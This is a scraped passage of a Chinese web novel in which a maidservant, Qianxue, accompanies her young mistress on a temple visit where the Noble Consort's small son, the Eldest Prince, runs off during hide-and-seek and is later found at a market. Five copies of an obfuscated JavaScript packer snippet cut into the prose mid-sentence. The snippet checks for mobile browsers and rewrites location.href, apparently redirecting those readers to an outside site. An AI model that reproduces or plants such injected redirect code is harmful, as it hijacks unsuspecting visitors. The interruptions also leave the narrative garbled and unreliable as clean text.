这两个字从千雪喉咙里滚出来，声音轻得连自己都快听不见。当初为什么要多管闲事？三小姐吴玉颜和她那个蠢笨如猪的丫鬟杜鹃，哪里值得她去趟这趟浑水？！ 吴玉瑶没听清，问道，“什么？千雪你说什么？” 千雪猛地回神，她艰难地挤出一个比哭还难看的笑容。 “没，没什么，小姐。奴婢是说知道了，谢小姐提点，奴婢以后一定离二公子远远的，绝不招惹。” 吴玉瑶点点头，她听进去了就行，这时，小橘挑帘子进来禀报，“小姐，夫人房里的郑妈妈来了。” 话音未落，郑妈妈那张透着精明干练的脸就出现在门口，脸上带着得体的笑，进门先给吴玉瑶行了礼，“四小姐安好。” “郑妈妈快请起，可是母亲有什么吩咐？”吴玉瑶和气地问。 郑妈妈笑着站直身子，“是件喜事，夫人说了，三月十八是个好日子，打算带着几位小姐一同去慈恩寺上香祈福。二小姐，三小姐还有您都去。让您提前准备着，那日穿的素净些。” “上香？”吴玉瑶应道，“女儿记下了，定当好好准备，劳烦妈妈回禀母亲。” “好嘞，老奴一定带到，那奴婢就先告退了。”郑妈妈又福了福身，退了出去。 房门关上，屋内只剩主仆二人。 千雪看着四小姐若有所思的侧脸，几乎是同时，两人目光交汇了一下。 上香？ 带着府里适龄的几位小姐？ 三月十八？ 千雪心里头那个想法几乎是跳了出来，不会是又要相看人家吧？ 她再看看自家小姐吴玉瑶，只见她原本淡然的脸上，也悄然飞起一丝淡淡的，几乎看不清的红晕，两人想到一块去了，千雪看吴玉瑶那双沉静的眼眸里，似乎亮起了一点微弱的，带着期盼的光。 千雪没点破，只是转身去整理那匹青色的料子，嘴里说道，“小姐，这料子正好素雅，赶在三月十八前，让素丹帮您赶件披风出来，穿着清爽又应景。” 吴玉瑶轻轻“嗯”了一声，手指再次抚过那光滑的绸缎，目光却有些飘远了。慈恩寺香火鼎盛，名门贵女世家公子多在此进香，她袖中的手下意识轻轻捏了捏衣角，那点隐秘的期待，在安静的房间里无声地蔓延开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057604|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 至于千雪心里的不安，暂时被这突如其来的上香消息压下，搁在了心事的角落里。 三月十八，天刚蒙蒙亮，芳华院里便点起了灯烛。吴玉瑶难得起了个大早，由千雪和小橘伺候着梳洗打扮。 虽说夫人交代了要素净，但素净并不等于灰头土脸。吴玉瑶选了一身月白色软烟罗交领长袄，只在领口和袖口镶了一圈青碧色的暗纹锦边，下配一条同色系水波纹罗裙。 发髻挽得简约清爽，只簪了一支点翠的小小兰花簪并几粒圆润的珍珠钿花，耳垂上是一对小巧的碧玉坠子。浑身上下没有艳丽颜色，也没有夸张首饰，却处处透着精心和雅致。 千雪看着镜中小姐清丽脱俗的模样，心里暗暗点头。这样既合了素净的规矩，又于细微处显出姑娘家的玲珑心思。 一行人收拾停当，前往国公府正院给夫人请安，国公夫人今日显然心情不错，脸上带着笑意，穿戴也比平日里略显郑重些。 千雪留意到了，心里不由得又琢磨起来夫人对这趟慈恩寺之行，似乎格外期待？不仅仅是寻常的进香礼佛那么简单。 到了府门口登车时，没想到二小姐吴玉容也在。这倒是个意外的惊喜。吴玉瑶与这个待字闺中的二姐关系一直很好，远比和三姐吴玉颜亲近得多。果然，吴玉容一见吴玉瑶，便笑着招手，“四妹快来，跟我坐一辆车，我们说说话。” 再看吴玉颜，她今日果然低调了许多。穿着一身毫不显眼的藕荷色素罗裙，首饰也只用了最素银钗，看到吴玉瑶和吴玉容，也只微微点了点头算是招呼，便沉默地带着杜鹃上了自己的车架，再没有像从前那样用眼神甩刀子。 千雪跟在小橘后面伺候吴玉瑶上了二小姐那辆稍大的马车，心里还在转着那个疑问，吴景舟那心思深沉，手段干脆利落的冷峻性子，怎么摊上吴玉颜这么个又蠢又莽撞还能被骗成这样的亲妹妹？这两兄妹，看着真不像是从一个娘胎里爬出来的！ 46.第四十六章 吴玉华 马车辚辚驶动，向着城外慈恩寺而去。车内有二小姐在，气氛自然轻快融洽。吴玉容正预备嫁入忠勇侯府，说起来待嫁女儿的心思，有几分少女的羞赧，更多的是对未来的憧憬和隐约的担忧。 吴玉瑶含笑听着，偶尔说几句自己的小见解。吴玉颜那辆车跟在后面，一路都安安静静，再无风波。就这样，很快便到了慈恩寺山脚下。 然而，一下官道转入通往慈恩寺的山路入口，眼前的景象就让国公府的车驾顿住了。 只见山路两旁，每隔几步便有身着铠甲，手持长戟的禁军兵士肃然站立，神情冷峻，将入口守得铁桶一般！肃杀的气氛瞬间压住了刚才马车里的轻松。 车夫忙将车稳稳停住，立刻有两位禁军头目上前，铠甲摩擦发出铿锵之声。他们面无表情，声音沉稳却不容置疑，“前方封道清路，来人验看路引腰牌。” 国公府领头护卫忙递上国公府的对牌和夫人的名帖。 那头目仔细验看过后，原本冷硬的脸色缓和了一分，对护卫低语几句，又示意了旁边一条更窄小，更隐蔽的山路，“既是国公府女眷，请从此路通行，速行。” 车夫闻言，立刻掉转马头，小心翼翼引着几辆马车驶向那条被禁军特意放行的小道。车厢里，吴玉瑶和吴玉容面面相觑，刚才的好气氛消失得无影无踪。 “这……怎么会有禁军封路？”吴玉瑶掀起一点车窗帘子，看着外面森严的铁甲卫兵，低声问道，脸上带着惊讶和一丝不安。 “别慌，”吴玉容虽然也蹙着眉，但到底沉稳些，她安抚地拍了拍妹妹的手，转头对自己车边伺候的一个得力大丫鬟使了个眼色。那丫鬟会意，借着下车询问路况的工夫，不着痕迹地凑近了一位看上去是小头目的禁军。 片刻后，丫鬟返回车边，隔着帘子压低声音回禀，“小姐，打听清楚了。是宫里有贵人今早驾临慈恩寺敬香祈福，圣上有旨，为保周全，特命禁军封山两个时辰。寻常香客都被劝阻今日上山了。” 贵人驾临？敬香祈福？封山两时辰？ 车内的姐妹俩都是一怔。 紧接着，吴玉容的眼中闪过一丝了然的光芒，她脸上露出了些许抑制不住的惊喜和激动，轻轻握紧了吴玉瑶的手，“我道是谁有这般排场！寻常宫妃可调动不了如此多的禁军护驾！又能让守路的军士悄无声息放我们府里的车驾通行小路的……今日这贵人，定是大姐姐！” 千雪在旁伺候着，心中豁然开朗！ 贵妃娘娘！ 国公府的大小姐，国公夫人的嫡长女，如今宫中尊荣无限的贵妃娘娘！只有她来了，才能说得通这森严的排场和针对国公府的特殊待遇！ 夫人今日早早梳妆，面带期待的真正缘由，也在此刻昭然若揭！这哪里是简单的进香，分明是借礼佛之名，安排了一场宫妃与娘家骨肉的相见！ 马车顺着那条仅供通行的小路，小心翼翼地向上驶去。山路崎岖，颠簸更甚，速度也慢了下来。车厢内不再有之前的谈笑，吴玉瑶和吴玉容都沉默了，心头萦绕着即将见到嫡亲长姐的激动，紧张和一丝难以言喻的复杂情绪。千雪垂首侍立一旁，心思却随着车轮的滚动飞快转动。 当马车终于驶入慈恩寺的山门范围，车轮压在平整的青石板路上时，周遭的景象豁然开朗。 纵然心情沉重，千雪还是被眼前所见撼动了心神。 慈恩寺依山而建，殿宇层叠，红墙金顶，在春日清晨的微光中显得格外庄严宏伟。苍松翠柏环绕其间，更添几分古朴幽深。 空气中弥漫着一种宁静气息，那是混合了浓郁香火，松木清气和晨间露水的独特味道。梵音若有若无地飘荡在山林之间，悠扬清越。即使是千雪这样心思驳杂的人，置身此地，也感觉胸中那股沉甸甸的郁气似乎被这庄严肃穆的氛围稍稍冲淡了一些。 佛门清净地，果然气象不同，千雪暗叹。难怪连贵妃娘娘都要来此敬香祈福，后山层峦叠嶂，隐约可见蜿蜒的小径通向更幽深处，想必风光更佳。 然而，这份宁静很快被打破。一入寺庙范围，禁军的密度明显增加了不止一倍！三步一岗，五步一哨，皆是精锐中的精锐，锐利的眼神扫视着每一个角落，气氛颇为凝重。 国公府的几辆马车被引导，绕开气势恢宏的主殿，直接驶向了后寺一处极为僻静，绿树掩映的院落。 马车终于在一座清雅的禅院门前停下。院内栽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063506|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种着几株极为苍劲的古松，枝叶如盖。 此处守卫更为森严，肃立着的宫人内侍个个屏息敛眉，行动无声，透着一股与普通寺庙截然不同的宫廷贵气。 一行人下了车，在宫人无声的指引下，穿过一道小小的月亮门，进入了一间宽敞明亮的禅室。 禅室布置极为雅致，上好的楠木，素色帷幔，墙上挂着笔力遒劲的佛偈。 居中摆放着一张硕大的紫檀如意榻，榻前两侧设着数张雕花方椅，室内点着檀香，几个穿着体面的大宫女垂手侍立左右，神态恭谨。 就在如意榻中央，端坐着一个人。 她身着宫装常服，颜色是极为沉静的烟霞色，料子却隐隐流动着华贵的暗光，一看便非凡品。 发髻高绾，仅簪了几支造型古雅，镶嵌明珠翡翠的玉钗，再无多余饰物，却自有一股令人不敢直视的威严与尊贵气度。 她大约三十许年纪，容貌与国公夫人有四五分相似，但眉宇间更添一份宫中岁月沉淀下的沉稳与深邃。她目光平和，并未刻意显出威严，但那从骨子里透出的从容与高位者的疏离感。 正是当朝贵妃娘娘，成国公府的大小姐，吴玉华！ “给贵妃娘娘请安！”国公夫人率先上前，盈盈下拜。 二小姐，三小姐，四小姐连同所有丫鬟婆子，都跟在夫人身后，齐刷刷地屈膝行礼，恭敬无比，连呼吸都放轻了几分。 “母亲请起，快快请起！”贵妃的声音温和悦耳，带着一丝见到亲人的暖意，但举手投足间的皇家仪态一丝未减。她亲自伸出手，虚扶了国公夫人一把。 国公夫人顺势起身，眼眶微红，眼中是抑制不住的激动和思念，“娘娘玉体安康！” “我很好，劳母亲挂念。”贵妃含笑点头，目光随即落在后面的几位妹妹身上，笑容更加柔和了一些，“都起来吧。二妹妹，三妹妹，四妹妹，许久未见，都快来让我瞧瞧。” 几位小姐这才敢直起身，但在长姐同时也是贵妃的注视下，依旧有些拘谨。 吴玉容最是开朗大方，露出真心笑容上前一步，“大姐姐安好！姐姐气色真好！”吴玉颜，吴玉瑶也紧随其后，乖巧地行礼问安。 47.第四十七章 躲猫猫 慈恩寺正殿，静悄悄的，高高的佛像垂着眼睛。 国公夫人和贵妃在静室说话，打发几位小姐出来。吴玉瑶想上香，千雪跟着去了大殿。 殿里空荡荡，只有佛前长明灯的小火苗在动。吴玉瑶在蒲团上跪好，双手合十，闭眼默默许愿。 千雪站在她身后，低眉垂眼。 突然！千雪耳朵竖了起来，佛像底座后头有窸窸窣窣的细碎响动！像是衣服蹭着东西的声音。她心一紧，警觉地望过去。 只见巨大的莲花座阴影里，慢悠悠地探出个小脑袋！ 是个小男娃，七八岁的样子，脸蛋白净，眼睛又大又亮，长得像画上的仙童。身上那料子是好得晃眼的宝蓝色锦缎，领口袖口都绕着金线绣的祥云！这通身的气派，一看就不是寻常人家的孩子。 那娃儿冷不丁撞见千雪的视线，小眉毛立刻揪了起来，嘴巴噘着，明显被盯着不高兴了。接着，他像是想起什么要紧事，赶紧竖起肉乎乎的手指头，死死压在自个儿嘴唇上。 “嘘！”那双黑葡萄似的眼珠子瞪得溜圆，急吼吼地示意她别吭声！ 千雪心里那点担心“噗”一下散了。 不是坏人！ 这身打扮！这金贵劲儿！再想到这空荡寺庙，重重禁军…… 千雪脑子里“唰”地透亮了，除了贵妃娘娘自个儿带来的人，谁能把这么个宝贝疙瘩带进来？！答案简直呼之欲出！ 大皇子！ 贵妃娘娘膝下有一子，也是陛下的长子，唯一的小祖宗，萧曜！ 他猫在这儿干啥？千雪转念一想便明白，是正玩躲猫猫呢！藏在这庄严肃穆的大佛后头，倒是挺会找地方。 千雪心念电转，出声？那估计这小祖宗得不高兴。可万一这大殿里进来旁人，事儿就闹大了。她眼神扫过自家小姐，吴玉瑶正心无旁骛地拜佛，根本没留意身后的动静。 千雪决定装看不见！她迅速地垂下眼帘，眼观鼻鼻观心，规规矩矩站着，仿佛刚刚什么都没瞅见。那佛像后面探出来的小脑袋，也嗖的一下缩了回去，似乎挺满意没被发现。 过了好一阵，吴玉瑶终于上香磕头完毕，长长舒了口气，起身道，“走吧，千雪，去后山转转。” “是，小姐。”千雪稳稳应声，扶着她往外走。经过那尊大佛时，她的步子一点儿没乱，眼神也分毫不斜。 刚走出大殿没多远，正打算往后山去，千雪就觉得气氛有点不对劲了。 只见寺里的管事和尚脚步匆匆，几个禁军小头领凑在一起低声交谈，神情凝重。几个穿着体面宫人打扮的女子面带焦急，在一排排禅房和回廊间穿梭，眼神不停四下张望。一种无形的紧张感迅速荡开，打破了之前清修之地的宁静安详。 吴玉瑶也察觉到异样，拉住一个路过的寺里小沙弥，轻声问道，“小师父，寺里这是怎么了？瞧着大家都慌慌张张的？” 小沙弥神色慌张，急急行了个礼，“阿弥陀佛，贫，贫僧也不甚清楚，只听说是贵人那边……在寻……寻什么要紧的人还是物……”他不敢多说，匆忙告罪一声，低着头赶紧溜走了。 “寻东西？”吴玉瑶一头雾水，看着来来往往搜寻的人，“动静这么大，得丢了什么宝贝呀？” 千雪却瞬间了然于心！ 她的心跳漏跳了一拍，脑子里清晰无比地印出刚才佛像后面那个宝蓝缎子，眼睛亮得像星子的小娃儿。 还能寻谁？ 可不就是那位躲猫猫躲得一时兴起，结果到现在还没找着人影的小祖宗殿下嘛！ 看来这猫儿，一时半会儿是逮不回来了！ 大雄宝殿上完香，吴玉瑶本打算好好逛逛这难得一来的慈恩寺后山。可刚走出去没多远，整个寺庙的氛围已经完全乱了套！ 禁军和宫人们跟没头苍蝇似的在回廊，院落，殿堂门口穿梭，脚步又急又快，神色凝重，交头接耳。方才还庄严宁静的寺院，此刻像个炸开了的蜂巢，嗡嗡作响，充斥着一种无形的焦灼。 “外面这是怎么了？越发不像话了。”吴玉瑶蹙着秀气的眉头，听着外面明显增加的脚步声和人声，心里也有些烦扰。原本轻松出游的兴致被彻底败坏了，加上今日见到了长姐贵妃带来的那种无形压力尚未散去，她干脆停住了往后山去的脚步，“算了，乱糟糟的，还游个什么兴致？不如回备好的厢房歇会儿，等外面安稳了再说。”这种时候，大家闺秀的身份使然，自然是以回避为上策。 “是，小姐。”千雪应着，小心翼翼的扶着吴玉瑶折返，回到了安排给她们女眷休憩的一处僻静厢房。 厢房内熏着淡淡的安神香，隔绝了不少外面的杂音，但依旧能隐隐听见廊下传来匆忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068150|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脚步声和刻意压低嗓门的呼喊。 吴玉瑶靠坐在窗边的榻上，由千雪伺候着喝茶定神，不再去管外面的事情。 千雪安静地立在门边角落，眼观六路耳听八方，心思全系在那外面的动静上。时间一点点过去，那搜寻的脚步声，喊话声非但没有平息，反而似乎越来越密，越来越远，甚至有向外院，向后山蔓延的趋势！ 她的心也跟着越来越沉。 还没找到？ 不应该啊！千雪心里飞快地盘算：整个慈恩寺都被禁军团团围住，水泄不通。那大皇子才多大点人儿？他能跑到哪里去？除非……他根本不在寺庙主建筑群内了！ 一个大胆的念头不受控制地冒了出来：这小子，该不会嫌在佛像后头躲着不够刺激，直接趁机溜出了寺庙，跑到外面野地里去了吧？ 这个猜测越想越有可能！ 千雪太了解七八岁的男孩子是个什么状态了。那正是精力旺盛得像小牛犊，又对什么都充满好奇，根本不知道怕字怎么写的年纪。天不怕地不怕，狗看了都要绕着走！尤其像大皇子萧曜这种金尊玉贵，从小被无数人小心翼翼捧着护着的孩子，骨子里的顽皮和冒险精神被压抑久了，一旦逮到机会，怕是能翻天！ 他必定是之前在大殿佛座后躲着时，正好听到外面人声开始混乱，觉得是个刺激的好机会！于是趁着众人还没彻底封死殿门或地毯式搜查到大佛底座后面那个死角，仗着自己身材小目标小，悄没声地……溜了！ 怎么溜的？ 不管具体用了什么招儿，结果都是一样——这熊孩子，确确实实突破了重重守卫的“铁桶”，溜出了人们的视线范围，甚至极有可能溜出了寺院的山门！ 千雪几乎可以肯定自己的猜测了，外面那越来越远，越来越广的搜索范围就是最好的证明——禁军们怕是已经把整个寺庙翻了好几遍，连耗子洞都掏过了没找着，才不得不扩大范围去搜山了！ 她甚至能想象出贵妃娘娘此刻强压着的心焦如焚，国公夫人和一众小姐们的忐忑不安，以及杜嬷嬷和那些负责照料大皇子的内侍宫女们，此刻怕是连死的心都有了。 千雪站在安静的厢房里，听着外面那一浪高过一浪的搜寻声浪，无声地叹了口气。 这小祖宗……这一躲一跑，可真是在这佛门清净地，把天都捅了个窟窿！ 48.第四十八章 寻回 贵妃吴玉华所居的静室，檀香已息，这位雍容从容的贵妃，此刻在室内踱着步，那张保养得宜的脸上早已失了血色。 不过一盏茶的功夫，孩子能跑到哪里去？这慈恩寺说大不大，已被翻了个底朝天！ “娘娘！整个寺院都找遍了！大殿，禅房，回廊，藏经阁，灶房凡是能藏人的地方，都细细筛过了，连僧人的寮舍都冒昧查探了不见殿下踪影啊！”一名气喘吁吁的内侍总管跪在门口回禀，声音都带着哭腔。 “不在寺里？”吴玉华的心猛地一沉！“再找！殿里每一尊佛像后！回廊每一个拐角！连假山石洞，屋檐椽缝都给本宫再细细查一遍！他那么小的人儿，能跑到天边去不成？定是藏在哪个犄角旮旯了！” 国公夫人杜氏早已被请了进来，贵妃屏退了所有宫人内侍，只留下几个心腹守在门外。 杜氏快步走到女儿身边，脸上是焦灼心疼，伸出手，轻轻抚上吴玉华的手背：“玉华！莫急，莫急！曜儿定是贪玩躲起来了，很快就能找到的！” 感受到母亲掌心传来的温热，吴玉华紧绷的神经被轻轻触动了一下。 她微微侧过脸，看向母亲，那双强撑着的眼眸里，瞬间涌上了一层薄薄的水汽，声音也带上了一丝哽咽：“母亲，我，我方才不该对他那般严厉，他定是觉得无趣才，咳咳……”一阵急促的咳嗽打断了她的话，她用手帕死死捂住嘴，单薄的身子微微颤抖着。 杜氏连忙替她拍抚后背，连声安慰：“不怪你，不怪你！是那孩子太皮了！定是底下的人没看紧！”她看着女儿苍白如纸的脸和眼底的脆弱，心疼得无以复加，“你身子要紧，千万不能急坏了！” 吴玉瑶几人都不知道发生了什么，这等事，自然是捂得越严实越好，可越是找不到，时间每拖一刻，危险就加重一分。 若是，若是真出了点差错吴玉华不敢深想下去，手指掐进了掌心。陛下对曜儿的看重无需多言，若知在自己的看顾下，在这守卫森严的寺庙里竟让皇子失踪，龙颜震怒的后果，以及宫中那些本就虎视眈眈的人，她感觉后背发寒。 厢房里，吴玉瑶早已被外面的动静弄得心神不宁，只低声吩咐千雪看好门户。 千雪立在门侧，透过门缝和窗棂的缝隙，始终留意着外面的动静。殿宇之内遍寻无果，人声和脚步便开始向寺院的边边角角扩散。 她看到一队禁卫牵着几条身形矫健，目露凶光的狼狗匆匆穿过庭院！为首那位面色如铁的侍卫长手里，捧着一样东西，看着像是件小孩常穿的锦缎衣料。 狼狗凑过去嗅了嗅，随即发出几声兴奋的低吠，被侍卫一拉牵引，便如离弦之箭般，拖着身后的侍卫，头也不回地朝着通往下山的路径方向奔去！ 果然！ 这小祖宗不止离开了大殿，竟是真的溜出了这慈恩寺！ 山下，通往山门的蜿蜒石阶尽头，便是相对热闹的一片市集。 一个穿着精致宝蓝色锦缎小袍的男孩，正兴奋地穿梭在人群之间的小摊前，正是偷溜出来的大皇子萧曜。 那通身的气派惹得摊贩们频频侧目，却也只当是哪家富贵人家的小公子跟着大人偷偷溜出来玩耍，加之男孩身边并无大人跟随，更显得不同寻常。 萧曜那乌溜溜的大眼睛简直不够用了！宫里的玩意儿虽精贵，却哪有这集市上的新鲜有趣？泥捏的猴子，糖吹的小龙，炸得喷香的糖油果子。 他被一个捏糖人的小摊吸引，老人手艺精湛，吹捏转瞬即成。萧曜看中了一条威风凛凛的糖龙，也不说话，伸出小手便径直从插棍上拔了下来。 “哎哟小公子，这是要买的！”老人一看这孩子不通俗礼，连忙出声。 萧曜哪里理他？新鲜热乎的糖龙舔上一口，甜滋滋的，眉眼都笑弯了。 他压根儿不知道买东西还要付钱这回事，在老人愕然的目光中，他已蹦蹦跳跳地窜到了旁边一个卖果脯蜜饯的摊子前。 蜜饯小贩精明了，见他光顾吃不给钱，连忙叫住：“小公子，小公子！这糖龙还有小的刚才您抓的那把杏脯，五个铜板！” 萧曜嘴里含着糖龙，被拦住，大眼睛里满是不解和被打扰的不快。他歪着头看着焦急的小贩，小眉头皱起来，似乎在思索。突然，他像是想起什么似的，小手往腰间一摸索，随手就扯下来一样挂在腰间的物件，看也不看便朝那小贩面前一递。 “喏！” 赫然是一块玉佩！玉佩不大，但雕刻着异常精美的五爪龙纹，更别提底下垂着的缕金穗子了！这东西别说值几捆果子，几把糖了，怕是买下他这整个摊子再加老人十个摊子都绰绰有余！ 蜜饯小贩和旁边探头探脑的捏糖人老人，眼睛瞬间直了！嘴巴张得老大，直勾勾地盯着萧曜手中那枚尊贵得令人窒息的玉佩，一个字也说不出来！ 就在此时，远处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076096|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山道之上，隐隐传来几声狼犬的狂吠，以及朝着集市扑来的密集脚步声！ 萧曜小脸唰的一变！下意识就想把手里的糖龙一扔，拔腿往人群里钻！ “殿下！殿下留步！”一声带着哭腔，又惊又喜的呼喊破空而来！正是杜嬷嬷！ 几个身手矫健的侍卫，瞬间就将那小小的身影围在了中间！ “殿下！我的小祖宗哎！您可吓死老奴了！”杜嬷嬷扑到跟前，也顾不得许多，一把将萧曜紧紧搂住，浑身都在抖，眼泪鼻涕糊了一脸，“您怎么能跑这儿来啊！这要是磕着碰着，老奴万死也难赎其罪啊！”她一边哭，一边上上下下地摸索检查萧曜有没有受伤。 萧曜被抱得死紧，小身子扭了扭，糖龙都差点掉了，小嘴撅得老高，脸上写满了没意思三个大字，被抓包了！游戏结束了！真扫兴！ 旁边的侍卫长脸色铁青，侍卫长身后一个机灵的内侍立刻上前，掏出几块碎银子塞给两人，又额外给了些赏钱，“今日之事，烂在肚子里！若敢多嘴半句……”后面的话没说完，但懂得都懂。 小贩和老艺人捧着银子，点头如捣蒜，一个字也不敢多说。 内侍这才转向萧曜，脸上堆起十二万分的小心，声音放得又轻又柔，“殿下，这玉佩……奴婢先替您收着，回宫再给您系上，可好？” 他伸出手，小心翼翼地从萧曜还捏着玉佩的小手里，将那枚玉佩轻轻取了下来，仔细用一方干净的锦帕包好，贴身收了起来。 侍卫长大手一挥，几名侍卫立刻将萧曜护在中心，杜嬷嬷更是寸步不离地紧挨着，一行人如同众星捧月般，簇拥着这位失而复得的小祖宗，迅速离开了集市，沿着来时的山路疾步返回慈恩寺。 山路蜿蜒向上，萧曜被杜嬷嬷半扶半抱着，小脑袋耷拉着，刚才集市上的兴奋劲儿早就被冲散了，只剩下被抓回来的沮丧和越来越浓的心虚。 他偷偷抬眼瞄了瞄身边铁青着脸，一言不发的侍卫长，又看了看身边抹着眼泪，后怕不已的杜嬷嬷，小嘴抿得紧紧的。 完了，这次好像玩大了？母妃肯定气坏了！她平时虽然疼自己，但最讨厌自己没规矩，胡闹。 上次在御花园爬假山摔了，还被母亲罚抄了三天的《弟子规》呢！这次偷跑出寺庙，还跑到山下集市，母亲会不会，会不会打他手心？或者罚他禁足？ 想到严厉的惩罚，萧曜的小脸也垮了下来。 49.第四十九章 归家 杜嬷嬷几乎是半抱着萧曜，一路小跑着将他带回了贵妃娘娘所在的静室。 静室的门被推开。 萧曜低着头，小脚丫磨蹭着门槛，不敢立刻进去。他做好了迎接母亲雷霆震怒的准备，小拳头都悄悄攥紧了。 然而，预想中的斥责并未响起。 静室里安静得可怕。 萧曜鼓起勇气，怯生生地抬起小脑袋。 只见母妃依旧靠在那张紫檀圈椅里，脸色苍白得没有一丝血色，嘴唇微微颤抖着。她那双总是带着温和或威严的美眸，此刻竟盈满了泪水，泪珠子顺着苍白的脸颊滑落。 她看着门口那个小小的，完好无损的儿子，眼神里没有愤怒，没有责备。 “曜……曜儿……”吴玉华的声音哽咽得不成样子。 她一把将还愣在门口的萧曜紧紧搂进了怀里！双臂收紧，她不容这孩子有半分闪失！ “我的儿……我的儿啊……”泪水滴在萧曜的脖颈里。 萧曜被这突如其来的拥抱弄得懵了，他小小的身体被母亲紧紧箍着，能清晰地感受到母亲的心跳和微微的颤抖。 那滚烫的泪水落在他颈间，烫得他一缩。 他原本以为会挨骂，会受罚，心里还憋着一股男子汉不怕挨打的想法，可此刻，感受到母亲怀抱的温暖和她的担心。 他难得地没有像往常那样嫌弃母亲抱得太紧、把他当小孩，反而伸出小小的手臂，有些笨拙地、轻轻地回抱住了母亲微微颤抖的身体。小脑袋埋在母亲带着熟悉熏香气息的颈窝里，闷闷地，带着点鼻音小声嘟囔了一句： “母妃……我……我下次不敢了……” 静室里，杜嬷嬷和几个心腹宫人早已泪流满面，无声地跪伏在地。国公夫人杜氏也红着眼眶，看着女儿和外孙紧紧相拥的一幕，长长地，无声地舒了一口气。 慈恩寺的风波随着大皇子萧曜的平安归来，总算有惊无险的平息下去。贵妃娘娘紧绷的神经骤然松弛，加上之前的惊怒交加，她那本就单薄的身子更是显出了几分虚弱。 强撑着精神，在禁军和内侍的护卫下，贵妃仪驾缓缓启程回宫，国杜氏领着三位小姐在寺门外恭送。 吴玉容，吴玉颜，吴玉瑶三姐妹并排而立，屈膝行礼。 吴玉容神色关切，吴玉瑶眼神恭敬中带着一丝的担忧，吴玉颜则依旧低着头，心不在焉。 贵妃坐在凤辇之中，隔着轻纱，对着母亲和妹妹们微微颔首示意，脸色依旧苍白，但眼神已恢复了往日的沉静，只是那沉静之下，难掩深深的疲惫。 车驾远去，卷起一路烟尘，杜氏望着女儿远去的方向，久久未动。 她转身，对身边嬷嬷低声道：“去，替我在佛前再供一盏长明灯，香油钱加倍。愿佛祖保佑玉华身体康泰，曜儿平安顺遂。”嬷嬷领命而去。 随后，杜氏才带着众人，登上马车，返回国公府。 回到芳华院，关上院门，吴玉瑶才真正松了口气。今日经历太多，从见到长姐的惊讶，到目睹贵妃威严，再到经历那场寻人风波，让她精神紧绷。此刻回到自己的小天地，她像只归巢的小鸟，整个人都放松下来。 她靠在窗边的软榻上，由千雪和素丹伺候着卸下钗环，换上家常的柔软寝衣。温热的茶水入喉，才感觉紧绷的神经舒缓了些。 “今日……可真是……”吴玉瑶捧着茶盏，眼神有些放空。她忽然想起什么，看向正在整理妆奁的千雪，秀眉微蹙，带着一丝困惑：“千雪，你觉不觉得大姐今日瞧着，气色很是不好？” 千雪手上动作未停，闻言抬眼看向自家小姐，轻轻点了点头：“小姐也看出来了？奴婢也觉得贵妃娘娘虽妆容精致，但眉宇间的倦色还有眼底那抹青影，脂粉都盖不住。瞧着像是许久未曾安眠，或是身子骨不大爽利的样子。” 吴玉瑶叹了口气，放下茶盏，声音压低了些：“是啊，大姐她入宫多年，又贵为贵妃，外人看着自然是风光无限。可这深宫里的日子，哪是那么好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16080850|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的？” 此时素丹正好去外间取热水，内室只剩下主仆二人。四下无人，吴玉瑶的话匣子也打开了，带着几分感慨。 